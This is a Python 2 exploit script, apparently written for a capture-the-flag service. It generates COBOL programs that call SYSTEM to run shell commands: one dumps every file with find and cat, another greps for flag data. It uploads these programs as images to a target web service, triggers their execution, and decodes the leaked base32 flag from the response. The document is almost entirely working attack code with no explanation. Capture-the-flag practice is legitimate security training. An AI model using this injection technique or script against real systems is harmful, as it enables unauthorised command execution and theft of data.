from requests import session from gen import gen import sys s= '''IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. PROCEDURE DIVISION. DISPLAY HELLO WORLD". STOP RUN.''' s=''' IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. PROCEDURE DIVISION. BEGIN. CALL >SYSTEM> USING FUNCTION LOWER-CASE(>FIND . -TYPE F -EXEC CAT {} \;>). STOP RUN. ''' s=''' IDENTIFICATION DIVISION. PROGRAM-ID. HELLO. PROCEDURE DIVISION. BEGIN. CALL >SYSTEM> USING FUNCTION LOWER-CASE(>GREP -A -I FLGBASE DATA/*>). STOP RUN. ''' fnames = gen(s) sess = session() #import code #code.interact(local=locals()) TARGET = sys.argv[1] for fn in fnames: r = sess.post('http://%s:7654/upload-image.htm' % TARGET, data={'bwthreshold': '200', 'encoding': '1401 IBM'}, files={'image': fn} ) print r.status_code print r.cookies r = sess.post('http://%s:7654/list-data.htm' % TARGET, data={str(k+1):'on' for k in xrange(len(fnames))},files={}) print r.status_code r = sess.post('http://%s:7654/run-help.htm' % TARGET, data={'id':'0'}) print r.status_code, r.content lines = r.content.splitlines() import base64 flgparts = [] for l in lines: #print 'LN', l, 'SPLITED',l.split('VALUE "') parts = l.split('VALUE "') if len(parts) > 1: p = parts[1].rstrip('". ') flgparts.append(p) print 'F', flgparts try: for i in xrange(0, len(flgparts), 2): fle = flgparts[i] + flgparts[i+1] print base64.b32decode(fle) except: print 'EXCEPTION DURING FLG PARSE' import traceback traceback.print_stack()